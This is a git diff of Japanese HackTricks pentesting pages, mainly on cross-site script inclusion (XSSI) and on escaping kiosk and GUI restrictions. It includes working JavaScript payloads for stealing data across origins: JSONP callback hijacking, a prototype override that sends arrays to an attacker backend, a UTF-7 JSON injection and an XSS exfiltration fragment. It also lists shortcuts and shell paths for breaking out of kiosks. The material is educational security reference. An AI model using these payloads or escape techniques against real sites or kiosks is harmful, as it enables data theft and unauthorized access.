* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
```javascript
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
@ -118,16 +119,17 @@ window.onmessage = function(e){
exfil_info("onmessage", encode(e.data))
}
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,54 +1,51 @@
# XSSI (Cross-Site Script Inclusion)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* \*\*💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## 基本情報
**クロスサイトスクリプトインクルージョンXSSI** は、HTMLの `script` タグの性質から生じる脆弱性です。ほとんどのリソースが **同一オリジンポリシーSOP** の対象となるのに対し、スクリプトは異なるドメインから含めることができます。この動作は、異なるサーバーにホストされたライブラリや他のリソースの使用を容易にすることを意図していますが、潜在的なセキュリティリスクも導入します。
**クロスサイトスクリプトインクルージョン (XSSI)** は、HTMLの `script` タグの性質から生じる脆弱性です。ほとんどのリソースが **同一オリジンポリシー (SOP)** の対象であるのに対し、スクリプトは異なるドメインから含めることができます。この動作は、異なるサーバーにホストされているライブラリや他のリソースの使用を促進することを目的としていますが、同時に潜在的なセキュリティリスクも引き起こします。
### **XSSI** の主な特徴:
* **SOPのバイパス**: スクリプトは **同一オリジンポリシー** の対象外であり、異なるドメイン間で含めることができます。
* **データ露出**: 攻撃者はこの動作を悪用して、 `script` タグを介して読み込まれたデータを読むことができます。
* **動的JavaScript/JSONPへの影響**: **XSSI** は、動的JavaScriptや **JSON with Padding (JSONP)** に特に関連があります。これらの技術はしばしば認証のために "ambient-authority" 情報(クッキーなど)を使用します。異なるホストにスクリプトリクエストが行われると、これらの資格情報(例:クッキー)が自動的にリクエストに含まれます。
* **認証トークンの漏洩**: 攻撃者がユーザーのブラウザを騙して、自分が制御するサーバーからスクリプトをリクエストさせることができれば、これらのリクエストに含まれる機密情報にアクセスできるかもしれません。
- **SOPのバイパス**: スクリプトは **同一オリジンポリシー** から免除されており、異なるドメイン間で含めることができます。
- **データの露出**: 攻撃者はこの動作を利用して、`script` タグを介して読み込まれたデータを読み取ることができます。
- **動的JavaScript/JSONPへの影響**: **XSSI** は特に動的JavaScriptや **JSON with Padding (JSONP)** に関連しています。これらの技術は、認証のために「環境権限」情報(クッキーなど)を使用することがよくあります。異なるホストへのスクリプトリクエストが行われると、これらの資格情報(例:クッキー)が自動的にリクエストに含まれます。
- **認証トークンの漏洩**: 攻撃者がユーザーのブラウザを騙して、自分が制御するサーバーからスクリプトをリクエストさせることができれば、これらのリクエストに含まれる機密情報にアクセスできる可能性があります。
### タイプ
1. **静的JavaScript** - これはXSSIの従来の形式を表します。
2. **認証付き静的JavaScript** - このタイプはアクセスするために認証が必要なため、異なります。
2. **認証付き静的JavaScript** - このタイプは、アクセスするために認証が必要であるため、特異です。
3. **動的JavaScript** - コンテンツを動的に生成するJavaScriptを含みます。
4. **非JavaScript** - 直接JavaScriptを含まない脆弱性を指します。
4. **非JavaScript** - JavaScriptを直接含まない脆弱性を指します。
**以下の情報は [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414) の要約です**。詳細については確認してください。
\*\*以下の情報は [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414) の要約です。詳細についてはそちらをご確認ください。
### 通常のXSSI
このアプローチでは、プライベート情報がグローバルにアクセス可能なJavaScriptファイルに埋め込まれます。攻撃者は、ファイルの読み取り、キーワード検索、正規表現などの方法を使用してこれらのファイルを特定できます。一旦特定されると、プライベート情報を含むスクリプトを悪意のあるコンテンツに含めることで、機密データへの不正アクセスが可能になります。以下に、例として悪用技術が示されています。
このアプローチでは、プライベート情報がグローバルにアクセス可能なJavaScriptファイルに埋め込まれています。攻撃者は、ファイルの読み取り、キーワード検索、または正規表現などの方法を使用してこれらのファイルを特定できます。特定されたら、プライベート情報を含むスクリプトを悪意のあるコンテンツに含めることができ、機密データへの不正アクセスを可能にします。以下に例示される悪用技術があります:
```html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
### Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI
これらのタイプのXSSI攻撃は、ユーザーのリクエストに応じて機密情報が動的にスクリプトに追加されることを含みます。検出は、クッキーありとなしでリクエストを送信し、レスポンスを比較することで行うことができます。情報が異なる場合、機密情報が存在する可能性を示すことがあります。このプロセスは、[DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp拡張機能のようなツールを使用して自動化できます。
### Dynamic-JavaScript-based-XSSI と Authenticated-JavaScript-XSSI
これらのXSSI攻撃タイプは、ユーザーのリクエストに応じてスクリプトに動的に機密情報が追加されることを含みます。検出は、クッキーを使用してリクエストを送信し、レスポンスを比較することで行うことができます。情報が異なる場合、機密情報の存在を示す可能性があります。このプロセスは、[DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp拡張機能などのツールを使用して自動化することができます。
機密データがグローバル変数に格納されている場合、通常のXSSIで使用される方法と類似した方法を使用して悪用することができます。ただし、機密データがJSONPレスポンスに含まれている場合、攻撃者はコールバック関数を乗っ取って情報を取得することができます。これは、グローバルオブジェクトを操作するか、JSONPレスポンスによって実行される関数を設定することによって行うことができます。
機密データがグローバル変数に保存されている場合、通常のXSSIで使用されるのと同様の方法を使用して悪用することができます。ただし、機密データがJSONPレスポンスに含まれている場合、攻撃者はコールバック関数をハイジャックして情報を取得することができます。これは、グローバルオブジェクトを操作するか、JSONPレスポンスによって実行される関数を設定することで行うことができます。以下に示します:
```html
<script>
var angular = function () { return 1; };
@ -68,22 +65,17 @@ alert(JSON.stringify(leaked));
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
変数がグローバル名前空間に存在しない場合、_プロトタイプ改ざん_が悪用されることがあります。このテクニックは、JavaScriptの設計を活用し、コードの解釈が呼び出されたプロパティを特定するためにプロトタイプチェーンをトラバースすることに関与する点に基づいています。`Array`の`slice`などの特定の関数を上書きすることで、攻撃者は非グローバル変数にアクセスして情報を漏洩させることができます。
グローバル名前空間に存在しない変数に対しては、*prototype tampering*が時々悪用されることがあります。この技術は、呼び出されたプロパティを見つけるためにプロトタイプチェーンをたどるコード解釈を含むJavaScriptの設計を利用します。`Array`の`slice`のような特定の関数をオーバーライドすることで、攻撃者は非グローバル変数にアクセスし、漏洩させることができます:
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
Further details on attack vectors can be found in the work of Security Researcher [Sebastian Lekies](https://twitter.com/slekies), who maintains a list of [vectors](http://sebastian-lekies.de/leak/).
さらなる攻撃ベクターの詳細は、セキュリティ研究者 [Sebastian Lekies](https://twitter.com/slekies) の研究に見られ、彼は [ベクター](http://sebastian-lekies.de/leak/) のリストを維持しています。
### Non-Script-XSSI
Takeshi Terada's research introduces another form of XSSI, where Non-Script files, such as CSV, are leaked cross-origin by being included as sources in a `script` tag. Historical instances of XSSI, such as Jeremiah Grossmans 2006 attack to read a complete Google address book and Joe Walkers 2007 JSON data leak, highlight the severity of these threats. Additionally, Gareth Heyes describes an attack variant involving UTF-7 encoded JSON to escape the JSON format and execute scripts, effective in certain browsers:
寺田武の研究は、CSVなどのNon-Scriptファイルが`script`タグのソースとして含まれることによって、クロスオリジンで漏洩する別の形のXSSIを紹介しています。2006年のジェレミー・グロスマンによる完全なGoogleアドレス帳を読み取る攻撃や、2007年のジョー・ウォーカーによるJSONデータ漏洩など、XSSIの歴史的な事例は、これらの脅威の深刻さを浮き彫りにしています。さらに、ギャレス・ヘイズは、特定のブラウザで効果的なJSON形式を逃れるためにUTF-7エンコードされたJSONを使用してスクリプトを実行する攻撃のバリアントを説明しています。
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
@ -91,17 +83,17 @@ Takeshi Terada's research introduces another form of XSSI, where Non-Script file
```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする**
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,61 +1,61 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)を入手する
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**@carlospolopm**をフォローする。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# GUIアプリケーション内の可能なアクションをチェック
# GUIアプリケーション内での可能なアクションを確認する
**Common Dialogs**は、**ファイルの保存**、**ファイルの開く**、フォントの選択、色の選択などのオプションです。ほとんどの場合、これらのオプションにアクセスできる場合、**完全なエクスプローラ機能が提供**されます。
**共通ダイアログ**は、**ファイルの保存**、**ファイルのオープン**、フォントや色の選択などのオプションです。これらの多くは**完全なエクスプローラー機能**を提供します。これは、これらのオプションにアクセスできれば、エクスプローラーの機能にアクセスできることを意味します:
* 閉じる/閉じるとして
* 開く/開くとして
* 閉じる/名前を付けて閉じる
* 開く/別のアプリで開く
* 印刷
* エクスポート/インポート
* 検索
* スキャン
次のことをチェックする必要があります
以下のことができるか確認してください
* ファイルを変更または新規作成できるかどうか
* シンボリックリンクを作成できるか
* 制限された領域にアクセスできるか
* 他のアプリを実行できるか
* 新しいファイルを修正または作成する
* シンボリックリンクを作成する
* 制限された領域にアクセスする
* 他のアプリを実行する
## コマンド実行
おそらく**`Open with`**オプションを使用して、いくつかの種類のシェルを開いたり実行したりできるかもしれません
おそらく**`Open with`**オプションを使用することで、何らかのシェルを開く/実行することができます
### Windows
たとえば、_cmd.exe、command.com、Powershell/Powershell ISE、mmc.exe、at.exe、taskschd.msc..._ ここでコマンドを実行するために使用できる他のバイナリを見つける:[https://lolbas-project.github.io/](https://lolbas-project.github.io)
例えば_cmd.exe、command.com、Powershell/Powershell ISE、mmc.exe、at.exe、taskschd.msc..._ ここでコマンドを実行するために使用できるバイナリをさらに見つけることができます[https://lolbas-project.github.io/](https://lolbas-project.github.io)
### \*NIX __
_bash、sh、zsh..._ ここで詳細を確認[https://gtfobins.github.io/](https://gtfobins.github.io)
_bash、sh、zsh..._ さらにこちら[https://gtfobins.github.io/](https://gtfobins.github.io)
# Windows
## パス制限のバイパス
## パス制限の回避
* **環境変数**:いくつかのパスを指環境変数がたくさんあります
* **その他のプロトコル**_about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
* **環境変数**:いくつかのパスを指している環境変数がたくさんあります
* **他のプロトコル**_about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
* **シンボリックリンク**
* **ショートカット**CTRL+N新しいセッションを開く、CTRL+Rコマンドを実行、CTRL+SHIFT+ESCタスクマネージャー、Windows+Eエクスプローラを開く、CTRL-B、CTRL-Iお気に入り、CTRL-H履歴、CTRL-L、CTRL-Oファイル/開くダイアログ、CTRL-P印刷ダイアログ、CTRL-S名前を付けて保存
* **ショートカット**CTRL+N新しいセッションを開く、CTRL+Rコマンドを実行、CTRL+SHIFT+ESCタスクマネージャー、Windows+Eエクスプローラを開く、CTRL-B、CTRL-Iお気に入り、CTRL-H履歴、CTRL-L、CTRL-Oファイル/オープンダイアログ、CTRL-P印刷ダイアログ、CTRL-S名前を付けて保存
* 隠し管理メニューCTRL-ALT-F8、CTRL-ESC-F9
* **シェルURI**_shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
* **UNCパス**:共有フォルダに接続するパス。ローカルマシンのC$に接続してみるべきです("\\\127.0.0.1\c$\Windows\System32"
* **その他のUNCパス:**
* **シェルURI**_shell:Administrative Tools、shell:DocumentsLibrary、shell:Librariesshell:UserProfiles、shell:Personal、shell:SearchHomeFolder、shell:Systemshell:NetworkPlacesFolder、shell:SendTo、shell:UsersProfiles、shell:Common Administrative Tools、shell:MyComputerFolder、shell:InternetFolder_
* **UNCパス**:共有フォルダーに接続するためのパス。ローカルマシンのC$に接続を試みるべきです("\\\127.0.0.1\c$\Windows\System32"
* **その他のUNCパス**
| UNC | UNC | UNC |
| ------------------------- | -------------- | -------------------- |
@ -69,13 +69,13 @@ _bash、sh、zsh..._ ここで詳細を確認:[https://gtfobins.github.io/](ht
| %TMP% | %USERDOMAIN% | %USERNAME% |
| %USERPROFILE% | %WINDIR% | |
## バイナリのダウンロード
## バイナリをダウンロードする
Console: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
コンソール:[https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
エクスプローラー:[https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
レジストリエディタ:[https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
## ブラウザからファイルシステムにアクセス
## ブラウザからファイルシステムにアクセスする
| PATH | PATH | PATH | PATH |
| ------------------- | ----------------- | ------------------ | ------------------- |
@ -89,23 +89,23 @@ Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourcef
## ショートカット
* Sticky Keys SHIFTを5回押す
* Mouse Keys SHIFT+ALT+NUMLOCK
* High Contrast SHIFT+ALT+PRINTSCN
* Toggle Keys NUMLOCKを5秒間押し続け
* Filter Keys 右SHIFTを12秒間押し続け
* スティッキーキー SHIFTを5回押す
* マウスキー SHIFT+ALT+NUMLOCK
* ハイコントラスト SHIFT+ALT+PRINTSCN
* トグルキー NUMLOCKを5秒間保持す
* フィルターキー 右SHIFTを12秒間保持す
* WINDOWS+F1 Windows検索
* WINDOWS+D デスクトップを表示
* WINDOWS+E Windowsエクスプローラを起動
* WINDOWS+E Windowsエクスプローラを起動
* WINDOWS+R 実行
* WINDOWS+U 利便性センター
* WINDOWS+U アクセシビリティセンター
* WINDOWS+F 検索
* SHIFT+F10 コンテキストメニュー
* CTRL+SHIFT+ESC タスクマネージャ
* CTRL+ALT+DEL 新しいWindowsバージョンのスプラッシュスクリーン
* CTRL+SHIFT+ESC タスクマネージャ
* CTRL+ALT+DEL 新しいWindowsバージョンでのスプラッシュ画面
* F1 ヘルプ F3 検索
* F6 アドレスバー
* F11 Internet Explorer内でのフルスクリーンの切り替え
* F11 Internet Explorer内で全画面表示を切り替え
* CTRL+H Internet Explorerの履歴
* CTRL+T Internet Explorer 新しいタブ
* CTRL+N Internet Explorer 新しいページ
@ -114,20 +114,20 @@ Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourcef
## スワイプ
* 左端から右にスワイプしてすべての開いているウィンドウを表示し、KIOSKアプリを最小化してOS全体に直接アクセスする
* 右から左にスワイプしてアクションセンターを開き、KIOSKアプリを最小化してOS全体に直接アクセスする
* 上端からスワイプしてフルスクリーンモードで開いているアプリのタイトルバーを表示する
* 下から上にスワイプしてフルスクリーンアプリでタスクバーを表示する
* 左側から右にスワイプしてすべてのオープンウィンドウを表示し、KIOSKアプリを最小化してOS全体に直接アクセスする
* 右から左にスワイプしてアクションセンターを開き、KIOSKアプリを最小化してOS全体に直接アクセスする
* 上端からスワイプしてフルスクリーンモードで開いているアプリのタイトルバーを表示する
* 下からスワイプしてフルスクリーンアプリでタスクバーを表示する
## Internet Explorerのトリック
### 'Image Toolbar'
### '画像ツールバー'
画像をクリックすると画像の左上に表示されるツールバー。保存、印刷、メール送信、エクスプローラで「マイピクチャー」を開くなどができます。KioskはInternet Explorerを使用している必要があります。
画像をクリックすると左上に表示されるツールバーです。保存、印刷、メール送信、エクスプローラーで「マイピクチャ」を開くことができます。KioskはInternet Explorerを使用している必要があります。
### シェルプロトコル
これらのURLを入力してエクスプローラビューを取得します:
エクスプローラーのビューを取得するためにこのURLを入力します:
* `shell:Administrative Tools`
* `shell:DocumentsLibrary`
@ -151,9 +151,9 @@ Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourcef
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> マイネットワークプレイス
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
## ファイル拡張子の表示
## ファイル拡張子を表示する
詳細はこちら[https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
詳細についてはこのページを確認してください[https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
# ブラウザのトリック
@ -162,40 +162,40 @@ iKatのバックアップバージョン
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
JavaScriptを使用して共通ダイアログを作成し、ファイルエクスプローラにアクセスする:`document.write('<input/type=file>')`
JavaScriptを使用して共通ダイアログを作成し、ファイルエクスプローラにアクセスする:`document.write('<input/type=file>')`
出典https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
# iPad
## ジェスチャーとボタン
* 4本または5本の指で上にスワイプ/ホームボタンを2回タップマルチタスクビューを表示してアプリを切り替え
* 四本(または五本)の指で上にスワイプ / ホームボタンをダブルタップ:マルチタスクビューを表示し、アプリを変更す
* 4本または5本の指で片方向にスワイプ:次の/前のアプリに切り替える
* 四本または五本の指で一方の方向にスワイプ:次の/前のアプリに切り替える
* 5本の指で画面をつまむ/ホームボタンをタッチ/画面下部から上に素早く1本の指でスワイプホームにアクセス
* 五本の指で画面をピンチ / ホームボタンをタッチ / 画面の下から1本の指で素早く上にスワイプホームにアクセスする
* 画面下部から1本の指でゆっくり1〜2インチ上にスワイプドックが表示されます
* 画面の下から1本の指で1-2インチスワイプ遅くドックが表示される
* 画面上部から1本の指で下にスワイプ:通知を表示
* 画面上部から1本の指でスワイプダウン:通知を表示する
* 画面の右上隅から1本の指で下にスワイプiPad Proのコントロールセンターを表示
* 画面の右上隅から1本の指でスワイプダウンiPad Proのコントロールセンターを表示する
* 画面の左端から1本の指で1〜2インチスワイプ今日のビューを表示
* 画面の左から1本の指で1-2インチスワイプ今日のビューを表示する
* 画面の中央から右または左に素早く1本の指でスワイプ次の/前のアプリに切り替える
* iPadの右上隅にあるOn/**Off**/Sleepボタンを押し続ける + スライドを右まで移動する:電源を切る
* 右上隅の**iPad**の電源ボタン/**オフ**/スリープボタンを押し続け、**電源オフ**スライダーを右にスライドさせる:電源を切る
* iPadの右上隅にあるOn/**Off**/Sleepボタンを数秒押し続ける + ホームボタン:強制的に電源を切る
* 右上隅の**iPad**の電源ボタン/**オフ**/スリープボタンとホームボタンを数秒間押す:強制的にハード電源オフ
* iPadの右上隅にあるOn/**Off**/Sleepボタンとホームボタンを素早く押す画面左下にポップアップするスクリーンショットを撮る。両方のボタンを同時に非常に短く押すと、数秒間押し続けるかのように、強制的に電源が切れます。
* 右上隅の**iPad**の電源ボタン/**オフ**/スリープボタンとホームボタンを素早く押す:スクリーンショットを撮影し、表示の左下にポップアップします。両方のボタンを同時に非常に短時間押すと、数秒間保持するとハード電源オフが実行されます。
## ショートカット
iPadキーボードまたはUSBキーボードアダプタを持っている必要があります。アプリケーションから脱出するのに役立つショートカットのみがここに表示されます。
iPadキーボードまたはUSBキーボードアダプタを持っている必要があります。アプリケーションから脱出に役立つショートカットのみがここに表示されます。
| キー | 名前 |
| Key | Name |
| --- | ------------ |
| ⌘ | Command |
| ⌥ | Option (Alt) |
@ -210,28 +210,95 @@ iPadキーボードまたはUSBキーボードアダプターを持っている
### システムショートカット
これらのショートカットは、iPadの視覚設定や音声設定に依存します。
これらのショートカットは、iPadの使用に応じた視覚設定と音声設定のためのものです。
| ショートカット | アクション |
| Shortcut | Action |
| -------- | ------------------------------------------------------------------------------ |
| F1 | 画面を暗くする |
| F2 | 画面を明るくする |
| F7 | 前の曲に戻る |
| F8 | 再生/一時停止 |
| F9 | 次の曲にスキップ |
| F10 | ミュート |
| F11 | 音量を下げる |
| F12 | 音量を上げる |
| ⌘ Space | 利用可能な言語のリストを表示します。選択するには、再度スペースバーをタップします。 |
| F1 | 画面を暗くする |
| F2 | 画面を明るくする |
| F7 | 一曲戻る |
| F8 | 再生/一時停止 |
| F9 | 曲をスキップ |
| F10 | ミュート |
| F11 | 音量を下げる |
| F12 | 音量を上げる |
| ⌘ Space | 利用可能な言語のリストを表示;選択するにはスペースバーを再度タップします。 |
### iPadナビゲーション
| ショートカット | アクション |
| Shortcut | Action |
| -------------------------------------------------- | ------------------------------------------------------- |
| ⌘H | ホームに移動 |
| ⌘⇧H (Command-Shift-H) | ホームに移動 |
| ⌘ (Space) | Spotlightを開く |
| ⌘⇥ (Command-Tab) | 最後に使用した10個のアプリをリスト表示する |
| ⌘\~ | 最後のアプリに移動 |
| ⌘⇧3 (Command-Shift-3) | スクリーンショット(左下にホバーして保存または操作) |
| ⌘
| ⌘H | ホームに移動 |
| ⌘⇧H (Command-Shift-H) | ホームに移動 |
| ⌘ (Space) | スポットライトを開く |
